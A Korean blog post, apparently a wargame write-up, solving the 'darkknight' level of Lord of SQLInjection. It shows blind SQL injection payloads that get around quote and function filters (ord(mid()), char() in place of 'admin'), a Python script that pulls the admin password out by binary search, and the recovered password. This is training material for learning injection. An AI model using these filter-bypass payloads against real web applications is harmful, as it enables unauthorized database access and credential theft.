아무리 봐도 pw보단 no에 넣는게 나을듯.
이유는 pw에 넣으려면 '로 닫아주던가 해야하는데.. 필터링임
그런데 no는 숫자가 들어가서 쿼터 필요없음.
?no=0 or 1 in (1)
> Hello guest
먹히는 것 확인. 이제 pw에 대해서 찾아볼건데.. 우리는 admin의 pw가 필요함.
싱글쿼터가 필터링됨을 항상 인지하자.
?no=0 or length(pw) in (8)
> Hello guest가 나올 줄 알았는데 Hello admin 출력된다. 왜지
> 이유를 알 수 없다. 누구 아시는 분 댓글좀 주십쇼...
계속 풀어보자.
no에서 substr와 ascii가 필터링. 이를 대체할 다른 함수 사용
?no=0 or ord(mid(pw,1,1)) <64 해보니 Hello guest 출력.
admin이 필요함. 싱글쿼터 없이 admin 지정 방법
> id in (char(97,100,109,105,110))
> no=0 or id in (char(97,100,109,105,110)) and ord(mid(pw,1,1)) <64
이제 코드를 작성해보자.
import requests
url = "https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php"
cookie = {"PHPSESSID": "session"}
def pw_find():
length = 8
pw = ""
for i in range(length):
start_num = 1
end_num = 127
value = 64
while True:
param = {
"no": "0 or id in (char(97,100,109,105,110)) and ord(mid(pw,{},1)) in ({})".format(
i + 1, value
)
}
print(param)
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
pw += chr(value)
break
else:
param = {
"no": "0 or id in (char(97,100,109,105,110)) and ord(mid(pw,{},1)) > {}".format(
i + 1, value
)
}
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
start_num = value
value = (value + end_num) // 2
else:
end_num = value
value = (start_num + value) // 2
print("password: ", pw)
pw_find()
회사에서 테스트 불가능.
손수 찾아봅시다.
49 99 54 50 98 97 54 102
>> 1c62ba6f
'Play > wargame' 카테고리의 다른 글
[LOS] Load of SqlInjection 15번 풀이 (0) | 2022.11.01 |
---|---|
[LOS] Load of SQLInjection 13번 풀이 (0) | 2022.10.28 |
[LOS] Load of SQLInjection 10번 (0) | 2022.10.24 |
[LOS] Lord of SQLinjection 7번 (0) | 2022.10.23 |
webhacking.kr 6번 - base64 (0) | 2022.10.18 |